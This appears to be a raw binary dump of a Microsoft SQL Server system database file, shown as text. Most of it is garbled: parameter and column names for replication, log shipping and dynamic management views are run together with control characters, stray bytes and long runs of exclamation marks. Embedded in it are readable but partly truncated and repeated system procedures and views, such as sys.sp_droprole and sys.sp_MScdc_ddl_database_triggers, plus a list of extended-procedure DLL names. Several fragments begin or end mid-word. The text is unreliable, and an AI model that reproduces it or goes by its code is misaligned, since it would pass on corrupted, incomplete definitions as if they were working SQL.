Q@cursor_return0-a@fulltext_catalog_name0-
K@table_name0-(I@type_name0-(M@type_schema0-/S@procedure_name0-/88
O@group_number0-/W@procedure_schema0-/S@parameter_name0-88
A@objid0-88
A@colid0-88
A@artid0-00Y@bGetTextImageInfo0-E@colname0-XG@ccoltype0-00Q@publishertype0-nM@publication0-nK@subscriber0-nQ@subscriber_db0-nI@publisher0-}wW@publication_type0-$?@name0-$88
A@hours0-$88
O@session_type0-s88
K@auto_startK@table_name0-CCell_Id0-44SCell_Attributes0-88
=SRID0-E@gGeoObj0-88
K@usDensity00-88
K@usDensity10-88
K@usDensity20-88
K@usDensity30-88
?@card0-88
W@tessellationMode0->>5S@distanceBuffer0-etotal_physical_memory_kb0-mavailable_physical_memory_kb0-Ytotal_page_file_kb0-aavailable_page_file_kb0-Ssystem_cache_kb0-]kernel_paged_pool_kb0-ckernel_nonpaged_pool_kb0-hhssystem_high_memory_signal_state0-	hhqsystem_low_memory_signal_state0-
4esystem_memory_state_desc0-88
Kpdw_node_id0-@@Irequest_id0-88
Istep_index0-Qoperation_type0-@@Wdistribution_type0-@@Olocation_type0-@@Astatus0-HHEerror_id0-==Istart_time0-	==Eend_time0-
88
Ytotal_elapsed_time0-Grow_count0-@@Ccommand0-GCwait_id0-G@@Isession_id0-G=type0-GKobject_type0-GKobject_name0-GHHIrequest_id0-G==Mrequest_time0-G==Macquire_time0-G	dd?state0-G
88
Epriority0-R]@foreignkey_tab_name0-Ra@foreignkey_tab_schema0-RQ@pk_table_name0-RU@pk_table_schema0-RW@pk_table_catalog0-ȯK@index_name0-ȯO@table_schema0-LCO@table_schema0-LCK@table_type0-f@C@object0-(I@type_name0-(M@type_schema0-/S@procedure_name0-/88
O@group_number0-/W@procedure_schema0-/S@parameter_name0-bĶCGRANTOR0-bĶCGRANTEE0-bĶOTABLE_CATALOG0-bĶMTABLE_SCHEMA0-bĶITABLE_NAME0-bĶKCOLUMN_NAME0-bĶ

QPRIVILEGE_TYPE0-bĶMIS_GRANTABLE-X88
0-76$$A@pubid0-76A@value0-88
A@objid0-88
A@colid0-88
A@artid0-00Y@bGetTextImageInfo0-E@colname0-XG@ccoltype[>7|!a?Y&A~+2?Q`w`O-
N)D i 	0-[region_base_address0-qregion_allocation_base_address0-mregion_allocation_protection0-]region_size_in_bytes0-Mregion_state0-gregion_current_protection0-Kregion_type0-(.@@Isession_id0-(.Astatus0-(.@@Irequest_id0-(.UUKsecurity_id0-(.Ilogin_name0-(.==Ilogin_time0-(.88
Kquery_count0-(.hhUis_transactional0-(.	Gclient_id0-(.
Eapp_name0-588
Gobject_id0-500[distribution_policy0-5xxedistribution_policy_desc0-|U@policy_category0-kM@publication0-kE@article0-kK@subscriber0-kS@destination_db0-kI@sync_type0-kC@status0-kY@subscription_type0-k<M@update_mode0-k	
[@loopback_detection0-k
88
S@frequency_type0-k88
[@frequency_interval0-k88
m@frequency_relative_interval0-k
88
m@frequency_recurrence_factor0-k88
W@frequency_subday0-k88
i@frequency_subday_interval0-k88
g@active_start_time_of_day0-k88
c@active_end_time_of_day0-k88
Y@active_start_date0-k88
U@active_end_date0-k@a@optional_command_line0-kG@reserved0-k
]@enabled_for_syncmgr0-khhO@offloadagent-0-8Q@fulltablename0-|
S@monitor_server0-|
;@p10-|
;@p20-|
;@p30-|
;@p40-|
$$;@p50-|
88
;@p60-|
hh;@p70-|
	;@p80-|

==;@p90-|
=@p100-|
===@p110-|

88
=@p120-贲M@publication0-贲K@subscriber0-贲Q@subscriber_db0-贲00A@level0-pɣM@publication0-pɣM@suser_sname0-pɣI@host_name0-pɣ88
O@partition_id0-pɣU@snapshot_folder0-kM@publication0-kE@article0-k88
K@force_flag0-k$$A@pubid0-$$A@pubid0-$$A@artid0-88
Q@schemaversion0-$$K@schemaguid0-88
K@schematype0-K@schematextword0-k"88
K@fileidhint0-k#hhC@unload0-k$
U@subscriptionlsn0-k%S@publisher_type0-k&00]@subscriptionstreams0-k'00U@subscriber_type-0-8Q@fulltablename0-,44O@publisher_id0-,O@publisher_db0-,'?@data0-,'A@1data0-,'A@2data0-,'A@3data0-,'A@4data0-,'A@5data0-,	'A@6data0-,
'A@7data0-,'A@8data0-,'A@9data0-,
'C@10data0-,'C@11data0-,'C@12data0-,'C@13data0-,'C@14data0-|
S@monitor_server0-|
R
U
2r
=
		B	]
z-s`#p5I/+N5a?lE\>C,`-?8)
3&0-
44Cnode_id0-
4Snode_state_desc0-
_memory_object_address0-
]memory_clerk_address0-
mio_completion_worker_address0-
44Qmemory_node_id0-
Wcpu_affinity_mask0-
44aonline_scheduler_count0-
	44]idle_scheduler_count0-

88
[active_worker_count0-
88
Uavg_load_balance0-
etimer_task_affinity_mask0-

mpermanent_task_affinity_mask0-
hharesource_monitor_state0-
_online_scheduler_mask0-
44Sprocessor_group0-588
Kdatabase_id0-588
Gobject_id0-588
Eindex_id0-588
Mpartition_id0-5Growset_id0-5Yallocation_unit_id0-588
]allocation_unit_type0-5xxgallocation_unit_type_desc0-5	88
Odata_clone_id0-5
88
Kclone_state0-5Uclone_state_desc0-544Qextent_file_id0-5
88
Qextent_page_id0-544iallocated_page_iam_file_id0-588
iallocated_page_iam_page_id0-544aallocated_page_file_id0-588
aallocated_page_page_id0-500Mis_allocated0-2I@publisher0-2O@publisher_db0-2M@publication0-2
I@show_push0-G@property0-A@value-N
0-_X_@qualified_table_name0-_$$A@subid0-_$$A@artid0-_00Q@ranges_needed0-[hM@publication0-[hE@article0-[hK@filtername0-[hG@property0-[hA@value0-[hhhi@force_invalidate_snapshot0-[hhhi@force_reinit_subscription0-.$$A@pubid0-.88
I@tablenick0-.$$M@lastrowguid0-.88
E@maxrows!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!f
3
		<	;>e];d
Q
z-
B
Z
h5(pU`n-N)T&zVU0-"88
Kdatabase_id0-"88
Cfile_id0-"Cpage_id0-"44Ierror_type0-"00Kpage_status0-"==Wmodification_time0-T4Mregistry_key0-T4Ivalue_name0-TbbPPIvalue_data0-|R@@Irequest_id0-|R88
Istep_index0-|R88
Qdms_step_index0-|R88
Kpdw_node_id0-|R88
Sdistribution_id0-|R@@=type0-|R@@Astatus0-|RObytes_per_sec0-|R	Sbytes_processed0-|R
Qrows_processed0-|R==Istart_time0-|R==Eend_time0-|R
88
Ytotal_elapsed_time0-|REcpu_time0-|R88
Iquery_time0-|R88
Wbuffers_available0-|R88
Edms_cpid0-|R88
Esql_spid0-|RHHEerror_id0-|R@@Ksource_info0-|R@@Udestination_info0-|R@@Ccommand0-JP88
Mcomponent_id0-JP88
Egroup_id0-JPQcomponent_name0-[88
GOBJECT_ID0-[88
GSCHEMA_ID0-[OTABLE_CATALOG0-[MTABLE_SCHEMA0-[ITABLE_NAME0-[<<ITABLE_TYPE0-[$$ITABLE_GUID0-[hhGBOOKMARKS0-[	88
OBOOKMARK_TYPE0-[
88
]BOOKMARK_INFORMATION0-[OTABLE_VERSION0-[88
KCARDINALITY0-[
KDESCRIPTION0-[88
MTABLE_PROPID0-[88
KTABLE_FLAGS0-F
Y@subscription_type0-FI@publisher0-FO@publisher_db0-FhhG@reserved0-<M@publication0-<E@article0-<C@column0-<I@operation0-<hhc@refresh_synctran_procs0-<hh[@ignore_distributor0-<88
Q@change_active0-<hhi@force_invalidate_snapshot0-<	hhi@force_reinit_subscription0-<
I@publisher0-<S@publisher_type0-<S@publisher_dbms0-<
Y@publisher_version0-&HM@publication0-&HI@publisher0-&HS@publisher_type0-&HM@ad_guidname0-&HhhS@logreaderAgent0-Jz788
A@pubid0-Jz788
A@artid0-Jz788
G@cmdstate0-Jz7hhI@setprefix0-$988
O@publisher_id0-$9O@publisher_db0-$9M@publicationl_elapsed_time0-|REcpu_time0-|R88
Iquery_time0-|R88
Wbuffers_available0-|R88
Edms_cpid0-|R88
Esql_spid0-|RHHEerror_id0-|R@@Ksource_info0-|R@@Udestination_info0-|R@@Ccommand0-JP88
Mcomponent_id0-JP88
Egroup_id0-JPQcomponent_name0-[88
GOBJECT_ID0-[88
GSCHEMA_ID0-[OTABLE_CATALOG0-[MTABLE_SCHEMA0-[ITABLE_NAME0-[<<ITABLE_TYPE0-[$$ITABLE_GUID0-[hhGBOOKMARKS0-[	88
OBOOKMARK_TYPE0-[
88
]BOOKMARK_INFORMATION0-[OTABLE_VERSION0-[88
KCARDINALITY0-[
KDESCRIPTION0-[88
x+

F
S
x+

N
i(	Cb{6I|)D		k	x+BeC(|H{,Mz1`-/)seJ0- 88
?@spid0-	6K@table_name0-	6M@table_owner0-	6U@table_qualifier0-	6dK@table_type0-	6hhM@fUsePattern0-	6hhQ@fTableCreated0-2M@publication0-2hhY@raise_fatal_error0-2$$A@pubid0-2M@given_login0-2I@publisher0-#]3M@publication0-#]3K@subscriber0-#]3Q@subscriber_db0-#]3I@publisher0-#]3O@publisher_db0-8M@publication0-8E@article0-8I@view_name0-8ccQ@filter_clause0-888
Q@change_active0-8hhi@force_invalidate_snapshot0-8hhi@force_reinit_subscription0-8hh_@refreshsynctranprocs0-8	hhG@internal0- /M@publication0- /E@article0- /88
A@objid0-W888
A@artid0-W800Q@publishertype0-W8I@publisher0-:?@name0-:88
A@hours0-:88
O@session_type0-EI@publisher0-EO@publisher_db0-}888
G@art_nick0-}888
[@max_changes_in_gen0-}8E@nickbin0-}8=@gen0-}888
S@changes_in_gen0-GJW@article_resolver0-L5(S@max_closed_gen0-NG@procname0-N[@destination_object0-N88
I@tablenick6hhM@fUsePattern0-	6hhQ@fTableCreated0-f,wK@table_name0-f,wO@table_schema0-f,wM@column_name0-f,wO@table_schema0-f,wM@column_name0-f,wO@table_server0-f,wQ@table_catalog0-f,wK@table_name0-f,wO@table_schema0-f,wM@column_name0-FI@view_name0-FM@view_schema0-2M@publication0-2hhY@raise_fatal_error0-2$$A@pubid0-2M@given_login0-2I@publisher0-Fw88
?@type0-FwhhY@exclude_anonymous0-FwhhK@check_user0-#]3M@publication0-#]3K@subscriber0-#]3Q@subscriber_db0-#]3I@publisher0-#]3O@publisher_db0-AM@publication0-AE@article0-AC@column0-A88
K@mapping_id0-A?@type0-AC@length0-AI@precision0-AA@scale0-A	hhG@nullable0-A
I@publisher0-AS@publisher_type0-=M@publication0-=E@article0-=I@view_name0-=ccQ@filter_clause0-=88
Q@change_active0-=hhi@force_invalidate_snapshot0-=hhi@force_reinit_subscription0-=I@publisher0-=	hh_@refreshsynctranprocs0-=
hhG@internal0-8M@publication0-8E@article0-8I@view_name0-8ccQ@filter_clause0-888
Q@change_active0-8hhi@force_invalidate_snapshot0-8hhi@force_reinit_subscription0-8hh_@refreshsynctranprocs@

.

U

!YNs	|	;	d}$7$?\uhK
`-L')L{0-o/@G@filename0-o/88
G@numfiles0-J|G@rulename0-J|E@objname0-J|K@futureonly0-G88
Kdatabase_id0-GOphysical_name0-5OI@publisher0-5OO@publisher_db0-5OM@publication0-5O88
Y@subscription_type0-5Ohhe@allow_subscription_copy0-5OG@queue_id0-5O88
M@update_mode0-5OS@attach_version0-5O	O@queue_server-tji0-tji?@type-=l{hh0-=l{E@db_name0-_M@=@cmd0-_MC@dbname0-_MhhA@debug0-dz_M@publication0-dz_I@publisher0-dz_S@publisher_type0-91M@publication0-91E@article0-91
M@filter_name0-91ccQ@filter_clause0-91hhi@force_invalidate_snapshot0-91hhi@force_reinit_subscription0-91I@publisher0-AI@publisher0-A44O@publisher_id-0-G@password0-#/88
I@tablenick0-#/$$E@rowguidid0-3\hhKread_access0-3\hhMwrite_access0-3\hhOdelete_access0-3\hhIshare_read0-3\hhKshare_write0-3\hhMshare_delete0-3\ 88
Ycreate_disposition0-88
K@message_id0-I@parameter0-U@parameter_value0-;d@@Irequest_id0-;d88
Istep_index0-;d88
Kpdw_node_id0-;d88
Sdistribution_id0-;d@@Astatus0-;dHHEerror_id0-;d==Istart_time0-;d==Eend_time0-;d	88
Ytotal_elapsed_time0-;d
Grow_count0-;d88
=spid0-;d@@Ccommand0-88
Egroup_id0-Igroup_name0-G88
Kdatabase_id0-GOphysical_name0-t;88
GOBJECT_ID0-t;88
GSCHEMA_ID0-t;CGRANTOR0-t;CGRANTEE0-t;OTABLE_CATALOG0-t;MTABLE_SCHEMA0-t;ITABLE_NAME0-t;KCOLUMN_NAME0-t;	$$KCOLUMN_GUID0-t;
88
OCOLUMN_PROPID0-t;<<QPRIVILEGE_TYPE0-t;hhMIS_GRANTABLE0-IK@table_name0-IO@table_schema0-IM@column_name-n@0-n@G@filename-88
0-Q@binary8_value0-.C@object0-.$$A@pubid0-.88
M@pre_command0-.I@publisher0-.O@publisher_db0-&$$A@subid0-&A@value0-"AI@publisher0-"AO@publisher_db0-"AM@publication0-"A88
Q@security_mode0-"AA@login0-"AG@password0-"AM@distributor-]0-]$$A@artid0-]$$A@pubid0-5OI@publisher0-5OO@publisher_db0-5OM@publication0-5O88
Y@subscription_type0-5Ohhe@allow_subscription_copy0-5OG@queue_id0-5O88
M@update_mode0-5O

ID_z5i8u,[\

	a	Zl#`f<	2&06e@ h8create procedure sys.sp_droprole
    @rolename       sysname     -- role to be dropped
as
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
	set nocount on
	declare @ret        int,
            @stmtR		nvarchar(4000)

    -- DISALLOW USER TRANSACTION --
	set implicit_transactions off
	if (@@trancount > 0)
	begin
		raiserror(15002,-1,-1,'sys.sp_droprole')
		return (1)
	end

	exec @ret = sys.sp_validname @rolename
	if @ret <> 0
		return(1)

	-- create statement
	set @stmtR = 'drop role '   + quotename(@rolename)
	
	BEGIN TRANSACTION

	-- this will drop the schema owned by the role that has the same name as the role,
	-- if such schema exists
	EXEC %%Owner(Name = @rolename).DropSchema(OwnerType = 2)
	if @@error <> 0
	begin
		ROLLBACK TRANSACTION
		-- error message comes from inside the invoke
		return (1)
	end

	-- drop the role
	exec (@stmtR)
	if @@error <> 0
	begin
		ROLLBACK TRANSACTION
		-- error message comes from inside the statement
		return (1)
	end

	COMMIT TRANSACTION

    -- RETURN SUCCESS --
    return (0) -- sp_droprole
0 8CREATE VIEW sys.dm_os_memory_cache_clock_hands AS
	SELECT *
	FROM OpenRowSet(TABLE SYSMEMORYCACHECLOCKHANDS)
0%h@ 8

create procedure sys.sp_MSisreplmergeagent @is_merge bit output, @at_publisher bit=0 output
as
begin
    declare @cur_context varbinary(128)
    declare @cur_context_first_byte binary(1)
    declare @mergeagent_bitmask tinyint
    declare @atpublisher_bitmask tinyint
        
    select @mergeagent_bitmask = 8        --     snapshot=1, logreader=2, distrib=4, merge=8
    select @atpublisher_bitmask = 16
    
    select @cur_context = isnull(context_info(),0x00)
    
    -- get the first byte out of the 128 byte array.
    select @cur_context_first_byte = substring(@cur_context, 1, 1)
    
    -- check whether it has the merge agent bit set.
    select @mergeagent_bitmask = (convert(tinyint,@cur_context_first_byte) & @mergeagent_bitmask)
    -- set the output param value appropriately.
    select @is_merge = case when @mergeagent_bitmask = 0 then 0 else 1 end
    
    -- check whether it has the "at publisher" bit set.
    select @atpublisher_bitmask = (convert(tinyint,@cur_context_first_byte) & @atpublisher_bitmask)
    -- set the output param value appropriately.
    select @at_publisher = case when @atpublisher_bitmask = 0 then 0 else 1 end

    return 0
end
04@ 8
--
-- Name:    
--          fn_IHgettypestring
--          
-- Description: 
--          Retrieve sql type string with length as appropriate.
--			Suitable for embedding into a SQL statement.
--  
-- Security: 
--          Internal
--
-- Returns:
--			Success/failure
--          String representation of SQL type with length/scale/precision as appropriate
--      

create function sys.fn_IHgettypestring
(
	@tabid		int,
	@colid		int
)
returns
	nvarchar(1024)
as
begin
	declare	@typestring	sysname

	select	@typestring = sys.fn_MSrepl_sourcetype
			(
				type_name(ihc.mapped_type),
				ihc.mapped_length,
				ihc.mapped_length,
				ihc.mapped_prec,
				ihc.mapped_prec,
				ihc.mapped_scale,
				ihc.mapped_scale,
				dbmsdt.createparams
			)
	from	IHpublishercolumns ihpc,
			IHcolumns ihc,
			msdb.dbo.MSdbms dbms,
			msdb.dbo.MSdbms_datatype dbmsdt
	where	ihpc.publishercolumn_id	= ihc.publishercolumn_id
	  and	dbms.dbms_id			= dbmsdt.dbms_id
	  and	dbmsdt.type				= type_name(ihc.mapped_type)
	  and	dbms.dbms				= N'MSSQLSERVER'
	  and	ihc.article_id			= @tabid
	  and	ihc.column_id			= @colid

	return @typestring
end
0m q8create procedure sys.sp_MScdc_ddl_database_triggers 
(
	@mode varchar(4) -- valid input is 'add' or 'drop'
)
AS
begin
    declare @retcode int
				,@db_name sysname
    			,@mode_id int -- 1 is add, 2 is drop

	IF lower(@mode) = 'add' 
	BEGIN
		set @mode_id = 1
	END
	ELSE IF lower(@mode) = 'drop' 
	BEGIN
		set @mode_id = 2
	END
	ELSE
	BEGIN
	    RAISERROR(14138,16,-1,@mode)
	    RETURN(1)
	END
	
	--
	--drop trigger
	--
	if (@mode_id = 2) 
	begin
		if exists (select * from sys.triggers where name = N'tr_MScdc_ddl_event')
		begin
			exec(N'drop trigger tr_MScdc_ddl_event on database')
		end
	end

	--
	--create trigger
	--
	else if (@mode_id = 1) 
	begin
		if not exists (select * from sys.triggers where name = N'tr_MScdc_ddl_event')
		begin
			-- no dbo. here since 
			-- you cannot specify schema name as a prefix to the trigger name for database and server level triggers.
			exec(N'create trigger tr_MScdc_ddl_event on database for ALTER_TABLE, DROP_TABLE, ALTER_INDEX, DROP_INDEX
		             as 
						set ANSI_NULLS ON
						set ANSI_PADDING ON
						set ANSI_WARNINGS ON
						set ARITHABORT ON
						set CONCAT_NULL_YIELDS_NULL ON
						set NUMERIC_ROUNDABORT OFF
						set QUOTED_IDENTIFIER ON
						
						declare @EventData xml
						set @EventData=EventData()    
						exec sys.sp_MScdc_ddl_event @EventData')

			if @@ERROR<>0
			begin
				set @db_name = db_name()
				raiserror(22968, 16, -1, N'tr_MScdc_ddl_event', @db_name)
				return (1)
			end
		
			-- mark as ms shipped, no need to escape on @alter_table_trigger, we build this string here
			execute @retcode = sp_MS_marksystemobject N'tr_MScdc_ddl_event', 'database'
			if @retcode <> 0 
			begin
				raiserror(21542, 16, 1, @@error, 'sp_MS_marksystemobject')
				return (1)
			end
		end
	end
		
    return 0
end
0}@ 8CREATE view sys.dm_cdc_log_scan_sessions
as
	SELECT 
	    [session_id]
        ,[start_time]
        ,[end_time]
        ,[duration]
        ,[scan_phase]
        ,[error_count]
        ,[start_lsn]
        ,[current_lsn]
        ,[end_lsn]
        ,[tran_count]
        ,[last_commit_lsn]
        ,[last_commit_time]
        ,[log_record_count]
        ,[schema_change_count]
        ,[command_count]
        ,[first_begin_cdc_lsn]
        ,[last_commit_cdc_lsn]
        ,[last_commit_cdc_time]
        ,[latency]
        ,[empty_scan_count]
        ,[failed_sessions_count]
	FROM OpenRowset(TABLE DM_CDC_LOGSCAN_SESSIONS)
ributed transaction for queued/remote immediate updating
    --
    select @cmd = N'
    ' + N'--
    ' + N'-- Decide if we should start a distributed transaction or local transaction
    ' + N'-- based on update mode, failover state and islocalpublisher
    ' + N'-- '
    insert into #proctext(procedure_text) values (@cmd)
    if (@fisqueued = 1)
    begin
        select @cmd = N'
    if (@update_mode_id = 1 and @islocalpublisher = 1)
        or (@update_mode_id = 3 and @failover_mode_id = 0 and @islocalpublisher = 1) 
        or (@update_mode_id = 4) 
        or (@update_mode_id = 5 and @failover_mode_id = 0 and @islocalpublisher = 1) 
        or (@update_mode_id = 5 and @failover_mode_id = 1) '
        insert into #proctext(procedure_text) values (@cmd)
    end
    else
    begin
        select @cmd = N'
    if (@update_mode_id = 1 and @islocalpublisher = 1) '
        insert into #proctext(procedure_text) values (@cmd)
    end
    --
    -- continue scripting
    --
    select @cmd = N'
    begin
        BEGIN TRAN 
    end
    else
    begin
        SET XACT_ABORT ON
        BEGIN DISTRIBUTED TRAN
    end '
    insert into #proctext(procedure_text) values (@cmd)
    --
    -- continue scripting
    --
    if (@fisqueued = 1)
    begin
        select @cmd = N'
    ' + N'--
    ' + N'-- save the transaction token for later use
    ' + N'--
    exec sys.sp_getbindtoken @out_token = @tran_id OUTPUT , @for_xp_flag = 1 '
        insert into #proctext(procedure_text) values (@cmd)
    end
    --
    -- all done with scripting
    --
    return 0
END
3
`X`8	3
<Q1jy0nw@ )8CREATE VIEW sys.dm_exec_query_stats AS
	SELECT
		sql_handle, statement_start_offset, statement_end_offset, plan_generation_num,
		plan_handle, creation_time, last_execution_time, execution_count, total_worker_time,
		last_worker_time, min_worker_time, max_worker_time, total_physical_reads, last_physical_reads,
		min_physical_reads, max_physical_reads, total_logical_writes, last_logical_writes, min_logical_writes,
		max_logical_writes, total_logical_reads, last_logical_reads, min_logical_reads, max_logical_reads,
		total_clr_time, last_clr_time, min_clr_time, max_clr_time, total_elapsed_time,
		last_elapsed_time, min_elapsed_time, max_elapsed_time, query_hash, query_plan_hash,
		total_rows, last_rows, min_rows, max_rows
	FROM OpenRowset (TABLE QUERY_STATS)
0Cq@ W8create procedure sys.sp_copymergesnapshot (
    @publication          sysname,
    @destination_folder   nvarchar(255)
    )
AS
BEGIN
    SET NOCOUNT ON
    DECLARE @retcode       int
    DECLARE @source_folder nvarchar(255)
    SELECT @retcode = 0
    
    EXEC @retcode = dbo.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
        return (1)

    CREATE TABLE #snapshot_folders
    (
        id              int identity, 
        snapshot_folder nvarchar(255) collate database_default
    )
    IF @@ERROR <> 0
    BEGIN
        RETURN 1
    END

    INSERT INTO #snapshot_folders
    EXEC @retcode = sys.sp_browsemergesnapshotfolder @publication = @publication
    IF @retcode <> 0 OR @@ERROR <> 0
    BEGIN
        GOTO Failure
    END
    
    SELECT @source_folder = (select top 1 snapshot_folder FROM #snapshot_folders ORDER BY id ASC)
    IF @@ERROR <> 0
    BEGIN
        GOTO Failure
    END        
    SET ROWCOUNT 0    

    EXEC @retcode = sys.sp_MScopysnapshot @source_folder,
                                          @destination_folder
    IF @retcode <> 0 OR @@ERROR <> 0 
    BEGIN
        GOTO Failure
    END

    DROP TABLE #snapshot_folders
    RETURN 0
Failure:
    SET ROWCOUNT 0    
    DROP TABLE #snapshot_folders        
    RETURN 1
END
0@ s8create procedure sys.sp_scriptsupdproc 
(
    @artid int                  -- id of the article we are processing
    ,@mode tinyint = 1    		-- 1 = static scripting, 2 = dynamic scripting
    ,@publishertype tinyint=1   -- 1 = mssqlserver, 2 = heterogeneous
    ,@publisher sysname=NULL	-- May only be non-NULL if @publishertype = 2
)
as
begin
    declare @retcode int
    --
    -- security check
    --
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
    begin
        return (1)
    end
    --
    -- call core function
    --
    exec @retcode = sys.sp_scriptupdproccore 
             @artid = @artid
            ,@format = 5        -- SCALL format
            ,@mode = @mode
            ,@publishertype = @publishertype
            ,@publisher = @publisher
    return @retcode
end
0 +@ 8create procedure sys.sp_processlogshippingmonitorhistory 
(
    @mode tinyint -- 1 = add, 2 = delete
    ,@agent_id uniqueidentifier
    ,@agent_type tinyint  -- 0 = backup, 1 = copy, 2 = restore
    ,@session_id int = NULL 
    ,@session_status tinyint = NULL  -- 0 = Starting, 1 = Running, 2 = Success, 3 = Error, 4 = Warning
    ,@monitor_server sysname 
    ,@monitor_server_security_mode bit
    ,@database sysname = NULL -- needed for add
    ,@log_time datetime = NULL
    ,@log_time_utc datetime = NULL
    ,@message nvarchar(4000) = NULL -- should this be nvarchar(4000) since linked server may not process (max)
)
as
begin
    set nocount on
    declare @retcode int
    
    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- This should be called only on the remote monitor server
    --
    if (@monitor_server is null or upper(@monitor_server) != upper(@@servername))
        return 0
    --
    -- must be invoked from MSDB
    --
    if (db_name() != N'msdb')
    begin
        raiserror (21482, 16, -1, N'sp_processlogshippingmonitorhistory', N'msdb')
        return 1
    end
    --
    -- call the internal proc now
    --
    exec @retcode = sys.sp_MSprocesslogshippingmonitorhistory
                    @mode = @mode
                    ,@agent_id = @agent_id
                    ,@agent_type = @agent_type
                    ,@session_id = @session_id
                    ,@session_status = @session_status
                    ,@monitor_server = @monitor_server
                    ,@monitor_server_security_mode = @monitor_server_security_mode
                    ,@database = @database
                    ,@log_time = @log_time
                    ,@log_time_utc = @log_time_utc
                    ,@message = @message
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- all done
    --
    return 0
end
as
begin

    -- New 7.0 sp_addsubscription parameters
    DECLARE @subscriber                  sysname
    DECLARE @status                      sysname
    DECLARE @subscription_type           nvarchar(4)
    DECLARE @update_mode                 nvarchar(15)
    DECLARE @enabled_for_syncmgr         nvarchar(5)
    DECLARE @retcode                     int

    SET NOCOUNT ON

    -- sp_subscribe has to be called from a remote subscriber 
    -- If not, we state that it is unsupported
    SELECT @subscriber = @@REMSERVER
    IF @subscriber IS NULL
    BEGIN
      RAISERROR (21023, 16, -1,'sp_subscribe')
      RETURN(1)
    END
    
    SELECT @status = NULL
    SELECT @subscription_type = 'push'
    SELECT @update_mode = 'read only'
    SELECT @enabled_for_syncmgr = 'false'

    -- Call sp_addsubscription to do the actual work
    EXEC @retcode = sys.sp_addsubscription @publication = @publication,
                                           @article = @article,
                                           @destination_db = @destination_db,
                                           @sync_type = @sync_type,
                                           @subscriber = @subscriber,
                                           @status = @status,
                                           @subscription_type = @subscription_type,
                                           @update_mode = @update_mode,
                                           @loopback_detection = @loopback_detection,
                                           @enabled_for_syncmgr = @enabled_for_syncmgr
                                        
    RETURN @retcode   
end
0@ s8create procedure sys.sp_scriptsupdproc 
(
    @artid int                  -- id of the article we are processing
    ,@mode tinyint = 1    		-- 1 = static scripting, 2 = dynamic scripting
    ,@publishertype tinyint=1   -- 1 = mssqlserver, 2 = heterogeneous
    ,@publisher sysname=NULL	-- May only be non-NULL if @publishertype = 2
)
as
begin
    declare @retcode int
    --
    -- security check
    --
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
    begin
        return (1)
    end
    --
    -- call core function
    --
    exec @retcode = sys.sp_scriptupdproccore 
             @artid = @artid
            ,@format = 5        -- SCALL format
            ,@mode = @mode
            ,@publishertype = @publishertype
            ,@publisher = @publisher
    return @retcode
end
ROPID,
        ORDINAL
        PK_NAME
    from
        sys.fn_remote_primary_keys(@table_server, @table_catalog, @table_schema, @table_name)
    order by 1,2,3
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!4S`6Q<.L!0@ 8CREATE VIEW sys.all_objects AS
	SELECT 
		o.name, o.id AS object_id, r.indepid AS principal_id,
		o.nsid AS schema_id, o.pid AS parent_object_id,
		o.type, n.name AS type_desc,
		o.created AS create_date, o.modified AS modify_date,
		convert(bit, o.status & 1) AS is_ms_shipped,        -- OBJALL_MSSHIPPED
		convert(bit, o.status & 16) AS is_published,        -- OBJALL_RPL_PUBLISHED
		convert(bit, o.status & 64) AS is_schema_published	-- OBJALL_RPL_PUB_SCHONLY
	FROM sys.sysschobjs o
	LEFT JOIN sys.syssingleobjrefs r ON r.depid = o.id AND r.class = 97 AND r.depsubid = 0	-- SRC_OBJOWNER
	LEFT JOIN sys.syspalnames n ON n.class = 'OBTY' AND n.value = o.type
	WHERE HAS_ACCESS('AO', o.id) = 1
0 B(server internal)0 B(server internal)0 B(server internal)0VeD B(server internal)09U`B(server internal)0B`B(server internal)0ȳc B(server internal)0*тB(server internal)0} B(server internal)02[~ B(server internal)0Շ B(server internal)0 B(server internal)0=H`B(server internal)0Kf B(server internal)0B B(server internal)0B B(server internal)0€ B(server internal)0
H B(server internal)0w B(server internal)0$! B(server internal)0n B(server internal)0]N B(server internal)01T B(server internal)0R B(server internal)0f 6xplog70.dll0v 6xplog70.dll0}Xs B(server internal)00 %8((0))0j B(server internal)0z`B(server internal)0D`B(server internal)0`B(server internal)01`B(server internal)0܉q B(server internal)0>`B(server internal)05D 4xprepl.dll0`4xprepl.dll0 4xprepl.dll0 4xprepl.dll0 4xprepl.dll0v`4xprepl.dll0쮗`4xprepl.dll0t Xrepltrans extended procedure0L ^replcounters extended procedure0 Vreplcmds extended procedure0c`freplupdateschema extended procedure0hr`sp_replsetoriginator_internal extended procedure0k`hreplsetsyncstatus extended procedure0 4xpstar.dll0%3 4xpstar.dll0 6xpqueue.dll0~ 6xpqueue.dll0 6xpqueue.dll0 `sp_replsendtoqueue extended proc0L dsp_replwritetovarbin extended proc0 8odsole70.dll0G 8odsole70.dll0& 8odsole70.dll0T6`8xpsqlbot.dll0>s1 4xpstar.dll0`4xpstar.dll0E`4xpstar.dll0`4xpstar.dll0xP 4xpstar.dll0`4xpstar.dll04`4xpstar.dll0n`4xpstar.dll0`4xpstar.dll0%{`4xpstar.dll0a`4xpstar.dll0	o 4xpstar.dll0nR!`4xpstar.dll0Kd 4xpstar.dll0nd 